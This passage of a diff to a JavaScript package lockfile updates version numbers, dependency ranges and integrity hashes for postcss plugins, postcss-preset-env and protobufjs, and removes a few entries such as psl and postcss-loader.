"postcss-colormin": ["postcss-colormin@5.3.1", "", { "dependencies": { "browserslist": "^4.21.4", "caniuse-api": "^3.0.0", "colord": "^2.9.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ=="],
"postcss-convert-values": ["postcss-convert-values@5.1.3", "", { "dependencies": { "browserslist": "^4.21.4", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA=="],
- "postcss-custom-media": ["postcss-custom-media@9.1.5", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^1.0.2", "@csstools/css-parser-algorithms": "^2.2.0", "@csstools/css-tokenizer": "^2.1.1", "@csstools/media-query-list-parser": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-GStyWMz7Qbo/Gtw1xVspzVSX8eipgNg4lpsO3CAeY4/A1mzok+RV6MCv3fg62trWijh/lYEj6vps4o8JcBBpDA=="],
+ "postcss-custom-media": ["postcss-custom-media@12.0.1", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^3.0.0", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/media-query-list-parser": "^5.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-66syE14+VeqkUf0rRX0bvbTCbNRJF132jD+ceo8th1dap2YJEAqpdh5uG98CE3IbgHT7m9XM0GIlOazNWqQdeA=="],
- "postcss-custom-properties": ["postcss-custom-properties@13.3.4", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^1.0.7", "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-9YN0gg9sG3OH+Z9xBrp2PWRb+O4msw+5Sbp3ZgqrblrwKspXVQe5zr5sVqi43gJGwW/Rv1A483PRQUzQOEewvA=="],
+ "postcss-custom-properties": ["postcss-custom-properties@15.0.1", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^3.0.0", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-cuyq8sd8dLY0GLbelz1KB8IMIoDECo6RVXMeHeXY2Uw3Q05k/d1GVITdaKLsheqrHbnxlwxzSRZQQ5u+rNtbMg=="],
- "postcss-custom-selectors": ["postcss-custom-selectors@7.1.6", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^1.0.5", "@csstools/css-parser-algorithms": "^2.3.2", "@csstools/css-tokenizer": "^2.2.1", "postcss-selector-parser": "^6.0.13" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-svsjWRaxqL3vAzv71dV0/65P24/FB8TbPX+lWyyf9SZ7aZm4S4NhCn7N3Bg+Z5sZunG3FS8xQ80LrCU9hb37cw=="],
+ "postcss-custom-selectors": ["postcss-custom-selectors@9.0.1", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^3.0.0", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-2XBELy4DmdVKimChfaZ2id9u9CSGYQhiJ53SvlfBvMTzLMW2VxuMb9rHsMSQw9kRq/zSbhT5x13EaK8JSmK8KQ=="],
- "postcss-dir-pseudo-class": ["postcss-dir-pseudo-class@7.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-cMnslilYxBf9k3qejnovrUONZx1rXeUZJw06fgIUBzABJe3D2LiLL5WAER7Imt3nrkaIgG05XZBztueLEf5P8w=="],
+ "postcss-dir-pseudo-class": ["postcss-dir-pseudo-class@10.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-DmtIzULpyC8XaH4b5AaUgt4Jic4QmrECqidNCdR7u7naQFdnxX80YI06u238a+ZVRXwURDxVzy0s/UQnWmpVeg=="],
"postcss-discard-comments": ["postcss-discard-comments@5.1.2", "", { "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ=="],
@@ -3813,31 +4085,27 @@
"postcss-discard-overridden": ["postcss-discard-overridden@5.1.0", "", { "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw=="],
- "postcss-double-position-gradients": ["postcss-double-position-gradients@4.0.4", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^2.3.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-nUAbUXURemLXIrl4Xoia2tiu5z/n8sY+BVDZApoeT9BlpByyrp02P/lFCRrRvZ/zrGRE+MOGLhk8o7VcMCtPtQ=="],
+ "postcss-double-position-gradients": ["postcss-double-position-gradients@7.0.0", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Msr/dxj8Os7KLJE5Hdhvprwm3K5Zrh1KTY0eFN3ngPKNkej/Usy4BM9JQmqE6CLAkDpHoQVsi4snbL72CPt6qg=="],
- "postcss-focus-visible": ["postcss-focus-visible@8.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-f/Vd+EC/GaKElknU59esVcRYr/Y3t1ZAQyL4u2xSOgkDy4bMCmG7VP5cGvj3+BTLNE9ETfEuz2nnt4qkZwTTeA=="],
+ "postcss-focus-visible": ["postcss-focus-visible@11.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-VG1a9kBKizUBWS66t5xyB4uLONBnvZLCmZXxT40FALu8EF0QgVZBYy5ApC0KhmpHsv+pvHMJHB3agKHwmocWjw=="],
- "postcss-focus-within": ["postcss-focus-within@7.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AHAJ89UQBcqBvFgQJE9XasGuwMNkKsGj4D/f9Uk60jFmEBHpAL14DrnSk3Rj+SwZTr/WUG+mh+Rvf8fid/346w=="],
+ "postcss-focus-within": ["postcss-focus-within@10.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-dvql0fzUTG+gcJYp+KTbag5vAjuo94LDYZHkqDV1rnf5gPGer1v/SrmIZBdvKU8moep3HbcbujqGjzSb3DL53Q=="],
"postcss-font-variant": ["postcss-font-variant@5.0.0", "", { "peerDependencies": { "postcss": "^8.1.0" } }, "sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA=="],
- "postcss-gap-properties": ["postcss-gap-properties@4.0.1", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-V5OuQGw4lBumPlwHWk/PRfMKjaq/LTGR4WDTemIMCaMevArVfCCA9wBJiL1VjDAd+rzuCIlkRoRvDsSiAaZ4Fg=="],
+ "postcss-gap-properties": ["postcss-gap-properties@7.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-PSDF2QoZMRUbsINvXObQgxx4HExRP85QTT8qS/YN9fBsCPWCqUuwqAD6E6PNp0BqL/jU1eyWUBORaOK/J/9LDA=="],
- "postcss-image-set-function": ["postcss-image-set-function@5.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Sszjwo0ubETX0Fi5MvpYzsONwrsjeabjMoc5YqHvURFItXgIu3HdCjcVuVKGMPGzKRhgaknmdM5uVWInWPJmeg=="],
+ "postcss-image-set-function": ["postcss-image-set-function@8.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-rEGNkOkNusf4+IuMmfEoIdLuVmvbExGbmG+MIsyV6jR5UaWSoyPcAYHV/PxzVDCmudyF+2Nh/o6Ub2saqUdnuA=="],
"postcss-import": ["postcss-import@15.1.0", "", { "dependencies": { "postcss-value-parser": "^4.0.0", "read-cache": "^1.0.0", "resolve": "^1.1.7" }, "peerDependencies": { "postcss": "^8.0.0" } }, "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew=="],
- "postcss-initial": ["postcss-initial@4.0.1", "", { "peerDependencies": { "postcss": "^8.0.0" } }, "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ=="],
-
"postcss-js": ["postcss-js@4.0.1", "", { "dependencies": { "camelcase-css": "^2.0.1" }, "peerDependencies": { "postcss": "^8.4.21" } }, "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw=="],
- "postcss-lab-function": ["postcss-lab-function@5.2.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fi32AYKzji5/rvgxo5zXHFvAYBw0u0OzELbeCNjEZVLUir18Oj+9RmNphtM8QdLUaUnrfx8zy8vVYLmFLkdmrQ=="],
+ "postcss-lab-function": ["postcss-lab-function@8.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-1ZIAh8ODhZdnAb09Aq2BTenePKS1G/kUR0FwvzkQDfFtSOV64Ycv27YvV11fDycEvhIcEmgYkLABXKRiWcXRuA=="],
"postcss-load-config": ["postcss-load-config@3.1.4", "", { "dependencies": { "lilconfig": "^2.0.5", "yaml": "^1.10.2" }, "peerDependencies": { "postcss": ">=8.0.9", "ts-node": ">=9.0.0" } }, "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg=="],
- "postcss-loader": ["postcss-loader@7.3.4", "", { "dependencies": { "cosmiconfig": "^8.3.5", "jiti": "^1.20.0", "semver": "^7.5.4" }, "peerDependencies": { "postcss": "^7.0.0 || ^8.0.1", "webpack": "^5.0.0" } }, "sha512-iW5WTTBSC5BfsBJ9daFMPVrLT36MrNiC6fqOZTTaHjBNX6Pfd5p+hSBqe/fEeNd7pc13QiAyGt7VdGMw4eRC4A=="],
-
- "postcss-logical": ["postcss-logical@6.2.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-aqlfKGaY0nnbgI9jwUikp4gJKBqcH5noU/EdnIVceghaaDPYhZuyJVxlvWNy55tlTG5tunRKCTAX9yljLiFgmw=="],
+ "postcss-logical": ["postcss-logical@9.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-A4LNd9dk3q/juEUA9Gd8ALhBO3TeOeYurnyHLlf2aAToD94VHR8c5Uv7KNmf8YVRhTxvWsyug4c5fKtARzyIRQ=="],
"postcss-merge-longhand": ["postcss-merge-longhand@5.1.7", "", { "dependencies": { "postcss-value-parser": "^4.2.0", "stylehacks": "^5.1.1" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ=="],
@@ -3863,7 +4131,7 @@
"postcss-nested": ["postcss-nested@6.0.1", "", { "dependencies": { "postcss-selector-parser": "^6.0.11" }, "peerDependencies": { "postcss": "^8.2.14" } }, "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ=="],
- "postcss-nesting": ["postcss-nesting@11.3.0", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.0", "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-JlS10AQm/RzyrUGgl5irVkAlZYTJ99mNueUl+Qab+TcHhVedLiylWVkKBhRale+rS9yWIJK48JVzQlq3LcSdeA=="],
+ "postcss-nesting": ["postcss-nesting@14.0.0", "", { "dependencies": { "@csstools/selector-resolve-nested": "^4.0.0", "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-YGFOfVrjxYfeGTS5XctP1WCI5hu8Lr9SmntjfRC+iX5hCihEO+QZl9Ra+pkjqkgoVdDKvb2JccpElcowhZtzpw=="],
"postcss-normalize-charset": ["postcss-normalize-charset@5.1.0", "", { "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg=="],
@@ -3883,19 +4151,19 @@
"postcss-normalize-whitespace": ["postcss-normalize-whitespace@5.1.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA=="],
- "postcss-opacity-percentage": ["postcss-opacity-percentage@2.0.0", "", { "peerDependencies": { "postcss": "^8.2" } }, "sha512-lyDrCOtntq5Y1JZpBFzIWm2wG9kbEdujpNt4NLannF+J9c8CgFIzPa80YQfdza+Y+yFfzbYj/rfoOsYsooUWTQ=="],
+ "postcss-opacity-percentage": ["postcss-opacity-percentage@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-K6HGVzyxUxd/VgZdX04DCtdwWJ4NGLG212US4/LA1TLAbHgmAsTWVR86o+gGIbFtnTkfOpb9sCRBx8K7HO66qQ=="],
"postcss-ordered-values": ["postcss-ordered-values@5.1.3", "", { "dependencies": { "cssnano-utils": "^3.1.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ=="],
- "postcss-overflow-shorthand": ["postcss-overflow-shorthand@4.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-HQZ0qi/9iSYHW4w3ogNqVNr2J49DHJAl7r8O2p0Meip38jsdnRPgiDW7r/LlLrrMBMe3KHkvNtAV2UmRVxzLIg=="],
+ "postcss-overflow-shorthand": ["postcss-overflow-shorthand@7.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-9SLpjoUdGRoRrzoOdX66HbUs0+uDwfIAiXsRa7piKGOqPd6F4ZlON9oaDSP5r1Qpgmzw5L9Ht0undIK6igJPMA=="],
"postcss-page-break": ["postcss-page-break@3.0.4", "", { "peerDependencies": { "postcss": "^8" } }, "sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ=="],
- "postcss-place": ["postcss-place@8.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Ow2LedN8sL4pq8ubukO77phSVt4QyCm35ZGCYXKvRFayAwcpgB0sjNJglDoTuRdUL32q/ZC1VkPBo0AOEr4Uiw=="],
+ "postcss-place": ["postcss-place@11.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fAifpyjQ+fuDRp2nmF95WbotqbpjdazebedahXdfBxy5sHembOLpBQ1cHveZD9ZmjK26tYM8tikeNaUlp/KfHA=="],
- "postcss-preset-env": ["postcss-preset-env@8.5.1", "", { "dependencies": { "@csstools/postcss-cascade-layers": "^3.0.1", "@csstools/postcss-color-function": "^2.2.3", "@csstools/postcss-color-mix-function": "^1.0.3", "@csstools/postcss-font-format-keywords": "^2.0.2", "@csstools/postcss-gradients-interpolation-method": "^3.0.6", "@csstools/postcss-hwb-function": "^2.2.2", "@csstools/postcss-ic-unit": "^2.0.4", "@csstools/postcss-is-pseudo-class": "^3.2.1", "@csstools/postcss-logical-float-and-clear": "^1.0.1", "@csstools/postcss-logical-resize": "^1.0.1", "@csstools/postcss-logical-viewport-units": "^1.0.3", "@csstools/postcss-media-minmax": "^1.0.4", "@csstools/postcss-media-queries-aspect-ratio-number-values": "^1.0.4", "@csstools/postcss-nested-calc": "^2.0.2", "@csstools/postcss-normalize-display-values": "^2.0.1", "@csstools/postcss-oklab-function": "^2.2.3", "@csstools/postcss-progressive-custom-properties": "^2.3.0", "@csstools/postcss-relative-color-syntax": "^1.0.2", "@csstools/postcss-scope-pseudo-class": "^2.0.2", "@csstools/postcss-stepped-value-functions": "^2.1.1", "@csstools/postcss-text-decoration-shorthand": "^2.2.4", "@csstools/postcss-trigonometric-functions": "^2.1.1", "@csstools/postcss-unset-value": "^2.0.1", "autoprefixer": "^10.4.14", "browserslist": "^4.21.9", "css-blank-pseudo": "^5.0.2", "css-has-pseudo": "^5.0.2", "css-prefers-color-scheme": "^8.0.2", "cssdb": "^7.6.0", "postcss-attribute-case-insensitive": "^6.0.2", "postcss-clamp": "^4.1.0", "postcss-color-functional-notation": "^5.1.0", "postcss-color-hex-alpha": "^9.0.2", "postcss-color-rebeccapurple": "^8.0.2", "postcss-custom-media": "^9.1.5", "postcss-custom-properties": "^13.2.0", "postcss-custom-selectors": "^7.1.3", "postcss-dir-pseudo-class": "^7.0.2", "postcss-double-position-gradients": "^4.0.4", "postcss-focus-visible": "^8.0.2", "postcss-focus-within": "^7.0.2", "postcss-font-variant": "^5.0.0", "postcss-gap-properties": "^4.0.1", "postcss-image-set-function": "^5.0.2", "postcss-initial": "^4.0.1", "postcss-lab-function": "^5.2.3", "postcss-logical": "^6.2.0", "postcss-nesting": "^11.3.0", "postcss-opacity-percentage": "^2.0.0", "postcss-overflow-shorthand": "^4.0.1", "postcss-page-break": "^3.0.4", "postcss-place": "^8.0.1", "postcss-pseudo-class-any-link": "^8.0.2", "postcss-replace-overflow-wrap": "^4.0.0", "postcss-selector-not": "^7.0.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-qhWnJJjP6ArLUINWJ38t6Aftxnv9NW6cXK0NuwcLCcRilbuw72dSFLkCVUJeCfHGgJiKzX+pnhkGiki0PEynWg=="],
+ "postcss-preset-env": ["postcss-preset-env@11.2.0", "", { "dependencies": { "@csstools/postcss-alpha-function": "^2.0.3", "@csstools/postcss-cascade-layers": "^6.0.0", "@csstools/postcss-color-function": "^5.0.2", "@csstools/postcss-color-function-display-p3-linear": "^2.0.2", "@csstools/postcss-color-mix-function": "^4.0.2", "@csstools/postcss-color-mix-variadic-function-arguments": "^2.0.2", "@csstools/postcss-content-alt-text": "^3.0.0", "@csstools/postcss-contrast-color-function": "^3.0.2", "@csstools/postcss-exponential-functions": "^3.0.1", "@csstools/postcss-font-format-keywords": "^5.0.0", "@csstools/postcss-font-width-property": "^1.0.0", "@csstools/postcss-gamut-mapping": "^3.0.2", "@csstools/postcss-gradients-interpolation-method": "^6.0.2", "@csstools/postcss-hwb-function": "^5.0.2", "@csstools/postcss-ic-unit": "^5.0.0", "@csstools/postcss-initial": "^3.0.0", "@csstools/postcss-is-pseudo-class": "^6.0.0", "@csstools/postcss-light-dark-function": "^3.0.0", "@csstools/postcss-logical-float-and-clear": "^4.0.0", "@csstools/postcss-logical-overflow": "^3.0.0", "@csstools/postcss-logical-overscroll-behavior": "^3.0.0", "@csstools/postcss-logical-resize": "^4.0.0", "@csstools/postcss-logical-viewport-units": "^4.0.0", "@csstools/postcss-media-minmax": "^3.0.1", "@csstools/postcss-media-queries-aspect-ratio-number-values": "^4.0.0", "@csstools/postcss-mixins": "^1.0.0", "@csstools/postcss-nested-calc": "^5.0.0", "@csstools/postcss-normalize-display-values": "^5.0.1", "@csstools/postcss-oklab-function": "^5.0.2", "@csstools/postcss-position-area-property": "^2.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/postcss-property-rule-prelude-list": "^2.0.0", "@csstools/postcss-random-function": "^3.0.1", "@csstools/postcss-relative-color-syntax": "^4.0.2", "@csstools/postcss-scope-pseudo-class": "^5.0.0", "@csstools/postcss-sign-functions": "^2.0.1", "@csstools/postcss-stepped-value-functions": "^5.0.1", "@csstools/postcss-syntax-descriptor-syntax-production": "^2.0.0", "@csstools/postcss-system-ui-font-family": "^2.0.0", "@csstools/postcss-text-decoration-shorthand": "^5.0.3", "@csstools/postcss-trigonometric-functions": "^5.0.1", "@csstools/postcss-unset-value": "^5.0.0", "autoprefixer": "^10.4.24", "browserslist": "^4.28.1", "css-blank-pseudo": "^8.0.1", "css-has-pseudo": "^8.0.0", "css-prefers-color-scheme": "^11.0.0", "cssdb": "^8.8.0", "postcss-attribute-case-insensitive": "^8.0.0", "postcss-clamp": "^4.1.0", "postcss-color-functional-notation": "^8.0.2", "postcss-color-hex-alpha": "^11.0.0", "postcss-color-rebeccapurple": "^11.0.0", "postcss-custom-media": "^12.0.1", "postcss-custom-properties": "^15.0.1", "postcss-custom-selectors": "^9.0.1", "postcss-dir-pseudo-class": "^10.0.0", "postcss-double-position-gradients": "^7.0.0", "postcss-focus-visible": "^11.0.0", "postcss-focus-within": "^10.0.0", "postcss-font-variant": "^5.0.0", "postcss-gap-properties": "^7.0.0", "postcss-image-set-function": "^8.0.0", "postcss-lab-function": "^8.0.2", "postcss-logical": "^9.0.0", "postcss-nesting": "^14.0.0", "postcss-opacity-percentage": "^3.0.0", "postcss-overflow-shorthand": "^7.0.0", "postcss-page-break": "^3.0.4", "postcss-place": "^11.0.0", "postcss-pseudo-class-any-link": "^11.0.0", "postcss-replace-overflow-wrap": "^4.0.0", "postcss-selector-not": "^9.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-eNYpuj68cjGjvZMoSAbHilaCt3yIyzBL1cVuSGJfvJewsaBW/U6dI2bqCJl3iuZsL+yvBobcy4zJFA/3I68IHQ=="],
- "postcss-pseudo-class-any-link": ["postcss-pseudo-class-any-link@8.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FYTIuRE07jZ2CW8POvctRgArQJ43yxhr5vLmImdKUvjFCkR09kh8pIdlCwdx/jbFm7MiW4QP58L4oOUv3grQYA=="],
+ "postcss-pseudo-class-any-link": ["postcss-pseudo-class-any-link@11.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-DNFZ4GMa3C3pU5dM+UCTG1CEeLtS1ZqV5DKSqCTJQMn1G5jnd/30fS8+A7H4o5bSD3MOcnx+VgI+xPE9Z5Wvig=="],
"postcss-reduce-initial": ["postcss-reduce-initial@5.1.2", "", { "dependencies": { "browserslist": "^4.21.4", "caniuse-api": "^3.0.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg=="],
@@ -3903,7 +4171,7 @@
"postcss-replace-overflow-wrap": ["postcss-replace-overflow-wrap@4.0.0", "", { "peerDependencies": { "postcss": "^8.0.3" } }, "sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw=="],
- "postcss-selector-not": ["postcss-selector-not@7.0.1", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-1zT5C27b/zeJhchN7fP0kBr16Cc61mu7Si9uWWLoA3Px/D9tIJPKchJCkUH3tPO5D0pCFmGeApAv8XpXBQJ8SQ=="],
+ "postcss-selector-not": ["postcss-selector-not@9.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-xhAtTdHnVU2M/CrpYOPyRUvg3njhVlKmn2GNYXDaRJV9Ygx4d5OkSkc7NINzjUqnbDFtaKXlISOBeyMXU/zyFQ=="],
"postcss-selector-parser": ["postcss-selector-parser@6.0.15", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-rEYkQOMUCEMhsKbK66tbEU9QVIxbhN18YiniAwA7XQYTVBqrBy+P2p5JcdqsHgKM2zWylp8d7J6eszocfds5Sw=="],
@@ -3937,7 +4205,7 @@
"property-information": ["property-information@6.4.1", "", {}, "sha512-OHYtXfu5aI2sS2LWFSN5rgJjrQ4pCy8i1jubJLe2QvMF8JJ++HXTUIVWFLfXJoaOfvYYjk2SN8J2wFUWIGXT4w=="],
- "protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+ "protobufjs": ["protobufjs@7.5.4", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-CvexbZtbov6jW2eXAvLukXjXUW1TzFaivC46BpWc/3BpcCysb5Vffu+B3XHMm8lVEuy2Mm4XGex8hBSg1yapPg=="],
"proxy-addr": ["proxy-addr@2.0.7", "", { "dependencies": { "forwarded": "0.2.0", "ipaddr.js": "1.9.1" } }, "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg=="],
@@ -3945,8 +4213,6 @@
"pseudomap": ["pseudomap@1.0.2", "", {}, "sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ=="],
- "psl": ["psl@1.9.0", "", {}, "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag=="],
-
"pstree.remy": ["pstree.remy@1.1.8", "", {}, "sha512-77DZwxQmxKnu3aR542U+X8FypNzbfJ+C5XQDk3uWjWxn6151aIMGthWYRXTqT1E5oJvg+ljaa2OJi+VfvCOQ8w=="],
"public-encrypt": ["public-encrypt@4.0.3", "", { "dependencies": { "bn.js": "^4.1.0", "browserify-rsa": "^4.0.0", "create-hash": "^1.1.0", "parse-asn1": "^5.0.0", "randombytes": "^2.0.1", "safe-buffer": "^5.1.2" } }, "sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q=="],
@@ -3961,8 +4227,6 @@
"querystring-es3": ["querystring-es3@0.2.1", "", {}, "sha512-773xhDQnZBMFobEiztv8LIl70ch5MSF/jUQVlhwFyBILqq96anmoctVIYz+ZRp0qbCKATTn6ev02M3r7Ga5vqA=="],
